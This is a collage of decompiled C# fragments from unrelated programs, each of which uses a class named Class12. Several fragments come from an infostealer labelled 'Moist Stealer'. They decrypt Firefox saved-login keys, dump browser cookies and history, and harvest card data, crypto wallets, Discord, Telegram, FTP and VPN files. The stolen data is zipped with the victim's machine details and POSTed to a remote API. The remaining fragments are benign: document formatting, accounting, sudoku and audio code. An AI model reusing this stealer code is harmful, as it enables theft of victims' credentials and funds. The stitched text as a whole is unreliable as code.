// Token: 0x060001DF RID: 479 RVA: 0x0000F034 File Offset: 0x0000D234 public static void smethod_1(string string_3, string string_4, string string_5) { try { if (File.Exists(Path.Combine(string_3, "key3.db"))) { Class12.smethod_8(string_3, Class12.smethod_10(Class12.smethod_5(Path.Combine(string_3, "key3.db"))), string_4, string_5); } Class12.smethod_8(string_3, Class12.smethod_9(Class12.smethod_5(Path.Combine(string_3, "key4.db"))), string_4, string_5); } catch (Exception) { } }
// Token: 0x060001ED RID: 493 RVA: 0x0000FC9C File Offset: 0x0000DE9C private static List <Class24> smethod_2(string string_0) { List <Class24> result; try { string text = Dirs.WorkDir + "test.fv"; if (File.Exists(text)) { File.Delete(text); } File.Copy(string_0, text, true); Class12 @class = new Class12(text); List <Class24> list = new List <Class24>(); @class.method_4("urls"); for (int i = 0; i < @class.method_1(); i++) { try { string a = string.Empty; try { a = @class.method_0(i, 5); } catch { } if (a != "") { List <Class24> list2 = list; Class24 class2 = new Class24(); class2.method_1(@class.method_0(i, 1)); class2.method_3(@class.method_0(i, 2)); list2.Add(class2); } } catch { } } File.Delete(text); result = list; } catch { result = null; } return(result); }
// Token: 0x0600050B RID: 1291 RVA: 0x00028D54 File Offset: 0x00026F54 private bool method_0(out string string_0) { string_0 = null; Class58 @class = this.class58_0; Class12 class2 = (@class != null) ? @class.class12_0 : null; if (class2 == null) { return(true); } WeakReference weakReference_ = class2.weakReference_0; string_0 = (((weakReference_ != null) ? weakReference_.Target : null) as string); return(string_0 != null); }
private static void smethod_9(Class582 A_0, int A_1) { int num = 12; Document document = A_0.Interface50.imethod_0(); Class394 class2 = A_0.imethod_1(); Class12 class3 = null; if (!A_0.method_21().ContainsKey(A_1)) { class3 = new Class12(document, A_1 + 2) { Name = BookmarkStart.b("縱刳夵欷丹䔻刽┿ᵁ", num) + Guid.NewGuid() }; A_0.method_21().Add(A_1, class3.Name); document.ListOverrides.method_34(class3); class3.method_25(A_0.method_20().Count); } else { class3 = document.ListOverrides.method_35((string)A_0.method_21()[A_1]); } int num3 = class2.method_13(BookmarkStart.b("嬱堳䀵吷", num), 0); OverrideLevelFormat format = new OverrideLevelFormat(document); class3.method_23().method_9(num3, format); format.OverrideStartAtValue = false; format.OverrideFormatting = false; for (int i = 0; class2.method_9(BookmarkStart.b("帱䈳娵眷䰹夻䰽㈿⭁⁃⍅", num)); i++) { string str = class2.method_1(); if (str != null) { if (!(str == BookmarkStart.b("䄱䀳圵䨷丹猻䠽┿ぁ㙃⽅ⱇ⽉", num))) { if (str == BookmarkStart.b("帱䈳娵", num)) { format.OverrideFormatting = true; smethod_6(format.OverrideListLevel, A_0, i); } } else { format.OverrideStartAtValue = true; format.StartAt = class2.method_29(); } } } }
// Token: 0x0600050D RID: 1293 RVA: 0x00028EB4 File Offset: 0x000270B4 private void method_2(string string_0) { Class83 @class; if (!Struct42.conditionalWeakTable_0.TryGetValue(string_0, out @class)) { Class12 class2 = new Class12 { class179_0 = new Class179(), weakReference_0 = new WeakReference(string_0), weakReference_1 = new WeakReference(string_0, true) }; @class = new Class83(string_0, class2, class2.class179_0); Struct42.conditionalWeakTable_0.Add(string_0, @class); } this.class58_0.class12_0 = @class.class12_0; }
// Token: 0x0600007C RID: 124 RVA: 0x000057A8 File Offset: 0x000039A8 public static void smethod_3() { while (GClass1.bool_0) { int num = Math.Max(Math.Min((int)((double)GClass1.int_0 * GClass1.double_0 * 1.25), (int)((double)GClass1.size_0.Width * 0.9)), (int)((double)GClass1.size_0.Width * 0.6)); int num2 = Math.Min((int)((double)num / 1.22), (int)((double)GClass1.size_0.Height * 0.9)); int num3 = Math.Max((int)((double)GClass1.size_0.Width / 2.2) - num / 2, 0); int num4 = Math.Max((int)((double)GClass1.size_0.Height / 2.15) - num2 / 2, 0); Bitmap bitmap = new Bitmap(num, num2, PixelFormat.Format32bppArgb); Graphics graphics = Graphics.FromImage(bitmap); graphics.CopyFromScreen(num3, num4, 0, 0, new Size(num, num2), CopyPixelOperation.SourceCopy); ValueTuple <int, int> valueTuple = GClass16.smethod_3(); ValueTuple <GClass0, int, int> valueTuple2 = Class12.smethod_10(bitmap, valueTuple.Item1, valueTuple.Item2, num3, num4); graphics.Dispose(); bitmap.Dispose(); GClass1.ValueTuple_0 = valueTuple2; } }
private Class12 method_18() { int num = this.binaryReader_0.ReadInt32(); Class12 class2 = new Class12(this.listStyleCollection_0.Document, num) { Name = BookmarkStart.b("樥丧䔩缫娭䤯帱儳椵", 0) + Guid.NewGuid().ToString() }; this.binaryReader_0.ReadInt32(); this.binaryReader_0.ReadInt32(); int num2 = Math.Min(this.binaryReader_0.ReadByte(), 9); class2.method_27(num2); this.binaryReader_0.ReadByte(); this.binaryReader_0.ReadByte(); this.binaryReader_0.ReadByte(); return(class2); }
private void btn_Delete_Click(object sender, EventArgs e) { if (Class7.ShowMessageBox("Bạn c\x00f3 chắc chắn kh\x00f4ng ?", 2) == 1) { string text = this.btn_Delete.Text; if ((text != null) && (text == "&X\x00f3a")) { Class7.smethod_23(base.Tag.ToString(), 0, "trans_num", this.Txt_TransNum.Text.Trim(), "", this.oleDbConnection_0); Class12.smethod_4(this.Txt_Account.EditValue.ToString(), this.double_0, true); this.btn_Delete.Text = "&Phục hồi"; } else { Class7.smethod_23(base.Tag.ToString(), 1, "trans_num", this.Txt_TransNum.Text.Trim(), "", this.oleDbConnection_0); Class12.smethod_2(this.Txt_Account.EditValue.ToString(), this.double_0, true); this.btn_Delete.Text = "&X\x00f3a"; } } }
private void method_76(IParagraph A_0, Paragraph A_1) { Paragraph paragraph = A_0 as Paragraph; ListFormat listFormat = null; ParagraphStyle paraStyle = paragraph.ParaStyle; if (paragraph.ListFormat.ListType != ListType.NoList) { listFormat = paragraph.ListFormat; } else if (paraStyle.ListFormat.ListType != ListType.NoList) { listFormat = paraStyle.ListFormat; } if ((listFormat != null) && (listFormat.CurrentListStyle != null)) { ListStyle currentListStyle = listFormat.CurrentListStyle; int levelNumber = 0; if (paragraph.ListFormat.HasKey(0)) { levelNumber = paragraph.ListFormat.ListLevelNumber; } else if (paraStyle.ListFormat.HasKey(0)) { levelNumber = paraStyle.ListFormat.ListLevelNumber; } ListLevel nearLevel = currentListStyle.GetNearLevel(levelNumber); Class12 class2 = null; if ((listFormat.LFOStyleName != null) && (listFormat.LFOStyleName.Length > 0)) { class2 = base.Document.ListOverrides.method_35(listFormat.LFOStyleName); } if (((class2 != null) && class2.method_23().method_11(levelNumber)) && class2.method_23().method_5(levelNumber).OverrideFormatting) { nearLevel = class2.method_23().method_5(levelNumber).OverrideListLevel; } string str = base.Document.method_132(paragraph, listFormat, nearLevel); if (str != string.Empty) { this.method_77(A_0, A_1, str); } } }
private void method_22(Class12 A_0) { int num = this.binaryReader_0.ReadInt32(); int num2 = this.binaryReader_0.ReadByte(); int num3 = num2 & 15; OverrideLevelFormat format = new OverrideLevelFormat(this.listStyleCollection_0.Document); A_0.method_23().method_9(num3, format); format.OverrideListLevel = new ListLevel(this.listStyleCollection_0.Document); format.OverrideListLevel.method_0(format); format.StartAt = num; format.OverrideStartAtValue = (num2 & 0x10) != 0; format.OverrideFormatting = (num2 & 0x20) != 0; format.int_7 = this.binaryReader_0.ReadInt16(); format.int_8 = this.binaryReader_0.ReadByte(); if (format.OverrideFormatting) { this.method_11(format.OverrideListLevel); } }
// Token: 0x060001E8 RID: 488 RVA: 0x0000FB2C File Offset: 0x0000DD2C private static byte[] smethod_10(string string_3) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(string_3)) { result = array; } else { new DataTable(); Gecko9 gecko9_ = new Gecko9(string_3); Gecko7 gecko = new Gecko7(Class12.smethod_11(gecko9_, (string x) => x.Equals("password-check"))); string string_4 = Class12.smethod_11(gecko9_, (string x) => x.Equals("global-salt")); Gecko8 gecko2 = new Gecko8(Class12.iefripvQgb(string_4), Encoding.Default.GetBytes(string.Empty), Class12.iefripvQgb(gecko.EntrySalt)); gecko2.method_3(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Class12.iefripvQgb(gecko.Passwordcheck), PaddingMode.None); Gecko4 gecko3 = Gecko1.Create(Class12.iefripvQgb(Class12.smethod_11(gecko9_, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); Gecko8 gecko4 = new Gecko8(Class12.iefripvQgb(string_4), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); gecko4.method_3(); Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24) { array = gecko5.Objects[0].Objects[3].ObjectData; result = array; } else { Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); result = array; } } } catch (Exception) { result = array; } return(result); }
// Token: 0x060001E5 RID: 485 RVA: 0x0000F470 File Offset: 0x0000D670 public static void smethod_7(string string_3, string string_4, string string_5) { try { string string_6 = Path.Combine(string_3, "cookies.sqlite"); CNT cnt = new CNT(Class12.smethod_5(string_6)); cnt.ReadTable("moz_cookies"); for (int i = 0; i < cnt.RowLength; i++) { try { Class12.list_0.Add(cnt.ParseValue(i, "host").Trim()); Class12.list_1.Add(string.Concat(new string[] { cnt.ParseValue(i, "host").Trim(), "\t", (cnt.ParseValue(i, "isSecure") == "1").ToString(), "\t", cnt.ParseValue(i, "path").Trim(), "\t", (cnt.ParseValue(i, "isSecure") == "1").ToString(), "\t", cnt.ParseValue(i, "expiry").Trim(), "\t", cnt.ParseValue(i, "name").Trim(), "\t", cnt.ParseValue(i, "value"), Environment.NewLine })); } catch { } } } catch (Exception) { } }
private void btnGo_Click(object sender, EventArgs e) { this.N12_Load(sender, e); Class12 n12 = new Class12(); //Nạp ma trận lên và hiển thị hình ảnh TextBox[,] lbl = n12.clickMove81toArray( lbl0101, lbl0102, lbl0103, lbl0104, lbl0105, lbl0106, lbl0107, lbl0108, lbl0109, lbl0110, lbl0111, lbl0112, lbl0201, lbl0202, lbl0203, lbl0204, lbl0205, lbl0206, lbl0207, lbl0208, lbl0209, lbl0210, lbl0211, lbl0212, lbl0301, lbl0302, lbl0303, lbl0304, lbl0305, lbl0306, lbl0307, lbl0308, lbl0309, lbl0310, lbl0311, lbl0312, lbl0401, lbl0402, lbl0403, lbl0404, lbl0405, lbl0406, lbl0407, lbl0408, lbl0409, lbl0410, lbl0411, lbl0412, lbl0501, lbl0502, lbl0503, lbl0504, lbl0505, lbl0506, lbl0507, lbl0508, lbl0509, lbl0510, lbl0511, lbl0512, lbl0601, lbl0602, lbl0603, lbl0604, lbl0605, lbl0606, lbl0607, lbl0608, lbl0609, lbl0610, lbl0611, lbl0612, lbl0701, lbl0702, lbl0703, lbl0704, lbl0705, lbl0706, lbl0707, lbl0708, lbl0709, lbl0710, lbl0711, lbl0712, lbl0801, lbl0802, lbl0803, lbl0804, lbl0805, lbl0806, lbl0807, lbl0808, lbl0809, lbl0810, lbl0811, lbl0812, lbl0901, lbl0902, lbl0903, lbl0904, lbl0905, lbl0906, lbl0907, lbl0908, lbl0909, lbl0910, lbl0911, lbl0912, lbl1001, lbl1002, lbl1003, lbl1004, lbl1005, lbl1006, lbl1007, lbl1008, lbl1009, lbl1010, lbl1011, lbl1012, lbl1101, lbl1102, lbl1103, lbl1104, lbl1105, lbl1106, lbl1107, lbl1108, lbl1109, lbl1110, lbl1111, lbl1112, lbl1201, lbl1202, lbl1203, lbl1204, lbl1205, lbl1206, lbl1207, lbl1208, lbl1209, lbl1210, lbl1211, lbl1212, nb); if (n12.checkFeasible(nb, 12) == false) { MessageBox.Show("Can't play this! You must clear and replay", "Check Maxtrix", MessageBoxButtons.OK, MessageBoxIcon.Information); } else { // Giải ma trận rỗng một cách ngẫu nhiên n12.solveSudoku(nb, 0, 0, 12); for (int i = 0; i < 12; i++) { for (int j = 0; j < 12; j++) { lbl[i, j].Text = nb[i, j].Value.ToString(); } } } }
public Stream2(Enum2 enum2_1, ushort ushort_0, bool bool_2, GenericAudioStream[] stream1_0) : base() { this.list_0 = new List<GenericAudioStream>(); this.class12_0 = new Class12(new Interface5[0]); //base..ctor(); this.enum2_0 = enum2_1; this.bool_1 = bool_2; this.list_0.AddRange(stream1_0); this.bool_0 = (stream1_0.Length == 1 && stream1_0[0].vmethod_0().short_0 == 1 && ushort_0 < 2); this.long_1 = 0L; this.long_0 = stream1_0[0].Length; int val = 0; int num = 0; for (int i = 0; i < stream1_0.Length; i++) { GenericAudioStream stream = stream1_0[i]; val = Math.Max(val, stream.vmethod_0().int_0); if (this.bool_1) { num += (int)stream.vmethod_0().short_0; } else { num = Math.Max(num, (int)stream.vmethod_0().short_0); } stream.Position = this.long_1; } this.waveFormat_0 = new WaveFormat(val, (ushort_0 != 0) ? ((int)ushort_0) : Math.Min(num, Stream2.smethod_0(this.enum2_0) * (this.bool_1 ? stream1_0.Length : 1))); for (int j = 0; j < stream1_0.Length; j++) { GenericAudioStream stream2 = stream1_0[j]; this.long_0 = Math.Max(this.long_0, Convert.ToInt64((double)(this.waveFormat_0.int_0 * (int)this.waveFormat_0.short_1) * stream2.vmethod_1().timeSpan_0.TotalSeconds)); } this.int_2 = (int)this.waveFormat_0.short_0 << 2; }
private void method_1() { this.pnlSignalingBasic = new Class3(); this.nudTxSyncWakeTot = new Class12(); this.chkCallAlert = new CheckBox(); this.nudAutoResetTimer = new Class12(); this.chkRadioDisable = new CheckBox(); this.nudTxWakeMsgLimit = new Class12(); this.chkRemoteMonitor = new CheckBox(); this.nudRMDuration = new Class12(); this.chkEmgRM = new CheckBox(); this.lblTxSyncWakeTot = new Label(); this.chkSelCall = new CheckBox(); this.lblTxWakeMsgLimit = new Label(); this.cmbSelCallToneId = new ComboBox(); this.nudSelCallHang = new Class12(); this.lblSelCallToneId = new Label(); this.lblRMDuration = new Label(); this.lblSelCallHang = new Label(); this.lblAutoResetTimer = new Label(); this.pnlSignalingBasic.SuspendLayout(); ((ISupportInitialize)this.nudTxSyncWakeTot).BeginInit(); ((ISupportInitialize)this.nudAutoResetTimer).BeginInit(); ((ISupportInitialize)this.nudTxWakeMsgLimit).BeginInit(); ((ISupportInitialize)this.nudRMDuration).BeginInit(); ((ISupportInitialize)this.nudSelCallHang).BeginInit(); base.SuspendLayout(); this.pnlSignalingBasic.AutoScroll = true; this.pnlSignalingBasic.AutoSize = true; this.pnlSignalingBasic.Controls.Add(this.nudTxSyncWakeTot); this.pnlSignalingBasic.Controls.Add(this.chkCallAlert); this.pnlSignalingBasic.Controls.Add(this.nudAutoResetTimer); this.pnlSignalingBasic.Controls.Add(this.chkRadioDisable); this.pnlSignalingBasic.Controls.Add(this.nudTxWakeMsgLimit); this.pnlSignalingBasic.Controls.Add(this.chkRemoteMonitor); this.pnlSignalingBasic.Controls.Add(this.nudRMDuration); this.pnlSignalingBasic.Controls.Add(this.chkEmgRM); this.pnlSignalingBasic.Controls.Add(this.lblTxSyncWakeTot); this.pnlSignalingBasic.Controls.Add(this.chkSelCall); this.pnlSignalingBasic.Controls.Add(this.lblTxWakeMsgLimit); this.pnlSignalingBasic.Controls.Add(this.cmbSelCallToneId); this.pnlSignalingBasic.Controls.Add(this.nudSelCallHang); this.pnlSignalingBasic.Controls.Add(this.lblSelCallToneId); this.pnlSignalingBasic.Controls.Add(this.lblRMDuration); this.pnlSignalingBasic.Controls.Add(this.lblSelCallHang); this.pnlSignalingBasic.Controls.Add(this.lblAutoResetTimer); this.pnlSignalingBasic.Dock = DockStyle.Fill; this.pnlSignalingBasic.Location = new Point(0, 0); this.pnlSignalingBasic.Name = "pnlSignalingBasic"; this.pnlSignalingBasic.Size = new Size(521, 397); this.pnlSignalingBasic.TabIndex = 0; this.nudTxSyncWakeTot.Increment = new decimal(new int[4] { 5, 0, 0, 0 }); this.nudTxSyncWakeTot.method_2(null); this.nudTxSyncWakeTot.Location = new Point(245, 158); this.nudTxSyncWakeTot.Maximum = new decimal(new int[4] { 375, 0, 0, 0 }); this.nudTxSyncWakeTot.Minimum = new decimal(new int[4] { 125, 0, 0, 0 }); this.nudTxSyncWakeTot.Name = "nudTxSyncWakeTot"; this.nudTxSyncWakeTot.method_6(null); Class12 @class = this.nudTxSyncWakeTot; int[] bits = new int[4]; @class.method_4(new decimal(bits)); this.nudTxSyncWakeTot.Size = new Size(120, 23); this.nudTxSyncWakeTot.TabIndex = 8; this.nudTxSyncWakeTot.Value = new decimal(new int[4] { 125, 0, 0, 0 }); this.chkCallAlert.AutoSize = true; this.chkCallAlert.Location = new Point(245, 188); this.chkCallAlert.Name = "chkCallAlert"; this.chkCallAlert.Size = new Size(135, 20); this.chkCallAlert.TabIndex = 9; this.chkCallAlert.Text = "Call Alert Encode"; this.chkCallAlert.UseVisualStyleBackColor = true; this.chkCallAlert.Visible = false; this.nudAutoResetTimer.method_2(null); this.nudAutoResetTimer.Location = new Point(245, 308); this.nudAutoResetTimer.Maximum = new decimal(new int[4] { 255, 0, 0, 0 }); this.nudAutoResetTimer.Minimum = new decimal(new int[4] { 1, 0, 0, 0 }); this.nudAutoResetTimer.Name = "nudAutoResetTimer"; this.nudAutoResetTimer.method_6(null); Class12 class2 = this.nudAutoResetTimer; int[] bits2 = new int[4]; class2.method_4(new decimal(bits2)); this.nudAutoResetTimer.Size = new Size(120, 23); this.nudAutoResetTimer.TabIndex = 16; this.nudAutoResetTimer.Value = new decimal(new int[4] { 1, 0, 0, 0 }); this.nudAutoResetTimer.Visible = false; this.chkRadioDisable.AutoSize = true; this.chkRadioDisable.Location = new Point(245, 18); this.chkRadioDisable.Name = "chkRadioDisable"; this.chkRadioDisable.Size = new Size(168, 20); this.chkRadioDisable.TabIndex = 0; this.chkRadioDisable.Text = "Radio Disable Decode"; this.chkRadioDisable.UseVisualStyleBackColor = true; this.nudTxWakeMsgLimit.method_2(null); this.nudTxWakeMsgLimit.Location = new Point(245, 98); this.nudTxWakeMsgLimit.Maximum = new decimal(new int[4] { 4, 0, 0, 0 }); this.nudTxWakeMsgLimit.Minimum = new decimal(new int[4] { 1, 0, 0, 0 }); this.nudTxWakeMsgLimit.Name = "nudTxWakeMsgLimit"; this.nudTxWakeMsgLimit.method_6(null); Class12 class3 = this.nudTxWakeMsgLimit; int[] bits3 = new int[4]; class3.method_4(new decimal(bits3)); this.nudTxWakeMsgLimit.Size = new Size(120, 23); this.nudTxWakeMsgLimit.TabIndex = 4; this.nudTxWakeMsgLimit.Value = new decimal(new int[4] { 4, 0, 0, 0 }); this.chkRemoteMonitor.AutoSize = true; this.chkRemoteMonitor.Location = new Point(245, 42); this.chkRemoteMonitor.Name = "chkRemoteMonitor"; this.chkRemoteMonitor.Size = new Size(180, 20); this.chkRemoteMonitor.TabIndex = 1; this.chkRemoteMonitor.Text = "Remote Monitor Decode"; this.chkRemoteMonitor.UseVisualStyleBackColor = true; this.nudRMDuration.Increment = new decimal(new int[4] { 10, 0, 0, 0 }); this.nudRMDuration.method_2(null); this.nudRMDuration.Location = new Point(245, 128); this.nudRMDuration.Maximum = new decimal(new int[4] { 120, 0, 0, 0 }); this.nudRMDuration.Minimum = new decimal(new int[4] { 10, 0, 0, 0 }); this.nudRMDuration.Name = "nudRMDuration"; this.nudRMDuration.method_6(null); Class12 class4 = this.nudRMDuration; int[] bits4 = new int[4]; class4.method_4(new decimal(bits4)); this.nudRMDuration.Size = new Size(120, 23); this.nudRMDuration.TabIndex = 6; this.nudRMDuration.Value = new decimal(new int[4] { 10, 0, 0, 0 }); this.chkEmgRM.AutoSize = true; this.chkEmgRM.Location = new Point(245, 68); this.chkEmgRM.Name = "chkEmgRM"; this.chkEmgRM.Size = new Size(255, 20); this.chkEmgRM.TabIndex = 2; this.chkEmgRM.Text = "Emergency Romote Monitor Decode"; this.chkEmgRM.UseVisualStyleBackColor = true; this.lblTxSyncWakeTot.Location = new Point(49, 158); this.lblTxSyncWakeTot.Name = "lblTxSyncWakeTot"; this.lblTxSyncWakeTot.Size = new Size(185, 24); this.lblTxSyncWakeTot.TabIndex = 7; this.lblTxSyncWakeTot.Text = "Tx Sync Wakeup TOT [ms]"; this.lblTxSyncWakeTot.TextAlign = ContentAlignment.MiddleRight; this.chkSelCall.AutoSize = true; this.chkSelCall.Location = new Point(245, 218); this.chkSelCall.Name = "chkSelCall"; this.chkSelCall.Size = new Size(131, 20); this.chkSelCall.TabIndex = 10; this.chkSelCall.Text = "Self Call Encode"; this.chkSelCall.UseVisualStyleBackColor = true; this.chkSelCall.Visible = false; this.lblTxWakeMsgLimit.Location = new Point(49, 98); this.lblTxWakeMsgLimit.Name = "lblTxWakeMsgLimit"; this.lblTxWakeMsgLimit.Size = new Size(185, 24); this.lblTxWakeMsgLimit.TabIndex = 3; this.lblTxWakeMsgLimit.Text = "Tx Wakeup Message Limit"; this.lblTxWakeMsgLimit.TextAlign = ContentAlignment.MiddleRight; this.cmbSelCallToneId.DropDownStyle = ComboBoxStyle.DropDownList; this.cmbSelCallToneId.FormattingEnabled = true; this.cmbSelCallToneId.Items.AddRange(new object[2] { "前置", "始终" }); this.cmbSelCallToneId.Location = new Point(245, 248); this.cmbSelCallToneId.Name = "cmbSelCallToneId"; this.cmbSelCallToneId.Size = new Size(121, 24); this.cmbSelCallToneId.TabIndex = 12; this.cmbSelCallToneId.Visible = false; this.nudSelCallHang.Increment = new decimal(new int[4] { 500, 0, 0, 0 }); this.nudSelCallHang.method_2(null); this.nudSelCallHang.Location = new Point(245, 278); this.nudSelCallHang.Maximum = new decimal(new int[4] { 7000, 0, 0, 0 }); this.nudSelCallHang.Name = "nudSelCallHang"; this.nudSelCallHang.method_6(null); Class12 class5 = this.nudSelCallHang; int[] bits5 = new int[4]; class5.method_4(new decimal(bits5)); this.nudSelCallHang.Size = new Size(120, 23); this.nudSelCallHang.TabIndex = 14; this.nudSelCallHang.Visible = false; this.lblSelCallToneId.Location = new Point(49, 248); this.lblSelCallToneId.Name = "lblSelCallToneId"; this.lblSelCallToneId.Size = new Size(185, 24); this.lblSelCallToneId.TabIndex = 11; this.lblSelCallToneId.Text = "Self Call Tone/ID"; this.lblSelCallToneId.TextAlign = ContentAlignment.MiddleRight; this.lblSelCallToneId.Visible = false; this.lblRMDuration.Location = new Point(49, 128); this.lblRMDuration.Name = "lblRMDuration"; this.lblRMDuration.Size = new Size(185, 24); this.lblRMDuration.TabIndex = 5; this.lblRMDuration.Text = "Remote Monitor Duration [s]"; this.lblRMDuration.TextAlign = ContentAlignment.MiddleRight; this.lblSelCallHang.Location = new Point(49, 278); this.lblSelCallHang.Name = "lblSelCallHang"; this.lblSelCallHang.Size = new Size(185, 24); this.lblSelCallHang.TabIndex = 13; this.lblSelCallHang.Text = "Self Call Hang Time [ms]"; this.lblSelCallHang.TextAlign = ContentAlignment.MiddleRight; this.lblSelCallHang.Visible = false; this.lblAutoResetTimer.Location = new Point(49, 308); this.lblAutoResetTimer.Name = "lblAutoResetTimer"; this.lblAutoResetTimer.Size = new Size(185, 24); this.lblAutoResetTimer.TabIndex = 15; this.lblAutoResetTimer.Text = "Auto Reset Timer [s]"; this.lblAutoResetTimer.TextAlign = ContentAlignment.MiddleRight; this.lblAutoResetTimer.Visible = false; base.AutoScaleDimensions = new SizeF(7f, 16f); base.AutoScaleMode = AutoScaleMode.Font; base.ClientSize = new Size(521, 397); base.Controls.Add(this.pnlSignalingBasic); this.Font = new Font("Arial", 10f, FontStyle.Regular); base.Name = "SignalingBasicForm"; this.Text = "Signaling System"; base.Load += this.SignalingBasicForm_Load; base.FormClosing += this.SignalingBasicForm_FormClosing; this.pnlSignalingBasic.ResumeLayout(false); this.pnlSignalingBasic.PerformLayout(); ((ISupportInitialize)this.nudTxSyncWakeTot).EndInit(); ((ISupportInitialize)this.nudAutoResetTimer).EndInit(); ((ISupportInitialize)this.nudTxWakeMsgLimit).EndInit(); ((ISupportInitialize)this.nudRMDuration).EndInit(); ((ISupportInitialize)this.nudSelCallHang).EndInit(); base.ResumeLayout(false); base.PerformLayout(); }
public static void GetStealer() { try { Directory.CreateDirectory(Help.Moist_Dir); Directory.CreateDirectory(Help.Browsers); Directory.CreateDirectory(Help.Passwords); Directory.CreateDirectory(Help.Autofills); Directory.CreateDirectory(Help.Downloads); Directory.CreateDirectory(Help.Cookies); Directory.CreateDirectory(Help.History); Directory.CreateDirectory(Help.Cards); File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory); GetFiles.Inizialize(Help.Moist_Dir); Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000)); try { Class4.smethod_0(Help.Cookies); } catch { } try { Class4.PlqfdbrYf(Help.Passwords); } catch { } try { Class4.smethod_2(Help.Autofills); } catch { } try { Class4.smethod_3(Help.Downloads); } catch { } try { Class4.smethod_4(Help.History); } catch { } try { Class4.smethod_1(Help.Cards); } catch { } try { Class12.smethod_2(); } catch { } try { Class12.smethod_3(); } catch { } try { Class25.smethod_0(Help.Moist_Dir); } catch { } try { Class15.smethod_0(Help.Moist_Dir); } catch { } try { Class24.smethod_0(Help.Moist_Dir); } catch { } try { Class23.smethod_0(Help.Moist_Dir); } catch { } try { Class20.smethod_0(Help.Moist_Dir); } catch { } try { TGrabber.Start(Help.Moist_Dir); } catch { } try { Class14.smethod_0(Help.Moist_Dir); } catch { } try { Class21.smethod_0(Help.Moist_Dir); } catch { } try { Class13.smethod_0(Help.Moist_Dir); } catch { } try { Class22.smethod_0(Help.Moist_Dir); } catch { } try { Class16.smethod_0(Help.Moist_Dir); } catch { } try { Class17.smethod_0(Help.Moist_Dir); } catch { } try { Class37.smethod_0(Help.Moist_Dir); } catch { } try { DomainDetect.Start(Help.Browsers); } catch { } string text = string.Concat(new string[] { Help.dir, "\\", Help.HWID, Help.smethod_0(), ".zip" }); using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866"))) { zipFile.CompressionLevel = 9; zipFile.Comment = string.Concat(new string[] { "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:", Environment.MachineName, "/", Environment.UserName, "\nIP: ", Help.IP, Help.Country(), "\nHWID: ", Help.HWID }); zipFile.AddDirectory(Help.Moist_Dir ?? ""); zipFile.Save(text ?? ""); } string text2 = text ?? ""; byte[] file = File.ReadAllBytes(text2); string url = string.Concat(new string[] { Help.ApiUrl, "?id=", Class1.string_0, "&caption=", "⚡️ Moist Stealer Gate detected new log! ⚡️\n", "\ud83d\udd25 User: "******"/", Environment.UserName, " \ud83d\udd25\n", "\ud83c\udf0d IP: " + Help.IP, " ", Help.Country(), "\n\n", string.Concat(new string[] { "\n\ud83c\udf10 Browsers Data\nPasswords: ", (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(), "\nCookies: ", (Class4.int_3 + Class12.int_0).ToString(), "\nHistory: ", Class4.int_4.ToString(), "\nAutofill: ", Class4.int_1.ToString(), "\nCC: ", Class4.int_5.ToString(), "\n" }), string.Concat(new string[] { "\n\ud83d\udcb6 Wallets: ", (Class37.int_0 > 0) ? "Yes" : "No", (Class31.int_0 > 0) ? " Electrum" : "", (Class26.int_0 > 0) ? " Armory" : "", (Class27.int_0 > 0) ? " Atomic" : "", (Class28.int_0 > 0) ? " BitcoinCore" : "", (Class29.int_0 > 0) ? " Bytecoin" : "", (Class30.int_0 > 0) ? " DashCore" : "", (Class32.int_0 > 0) ? " Ethereum" : "", (Class33.int_0 > 0) ? " Exodus" : "", (Class35.int_0 > 0) ? " LitecoinCore" : "", (Class36.int_0 > 0) ? " Monero" : "", (Class38.int_0 > 0) ? " Zcash" : "", (Class34.int_0 > 0) ? " Jaxx" : "", "\n\n\ud83e\uddf2 Grabbed files: ", GetFiles.count.ToString(), "\n\ud83d\udcac Discord: ", (Class14.int_0 > 0) ? "Yes" : "No", "\n\ud83d\udee9 Telegram: ", (TGrabber.count > 0) ? "Yes" : "No", "\n\ud83d\udca1 Jabber: ", (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No", (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "", (Class20.int_0 > 0) ? " Psi" : "", "\n\n\ud83d\udce1 FTP\nFileZilla: ", (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No", "\nTotalCmd: ", (Class17.int_0 > 0) ? "Yes" : "No", "\n\n⚖️ VPN\nNordVPN: ", (Class23.int_0 > 0) ? "Yes" : "No", "\nOpenVPN: ", (Class24.int_0 > 0) ? "Yes" : "No", "\nProtonVPN: ", (Class25.int_0 > 0) ? "Yes" : "No", "\n\nHWID: ", Help.HWID, "\n⚙️ ", Class22.smethod_4(), "\n\ud83d\udd0e Domain detect", File.ReadAllText(Help.Browsers + "\\DomainDetect.txt") }) }); SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url); Directory.Delete(Help.dir + "\\", true); File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID); } catch { } }
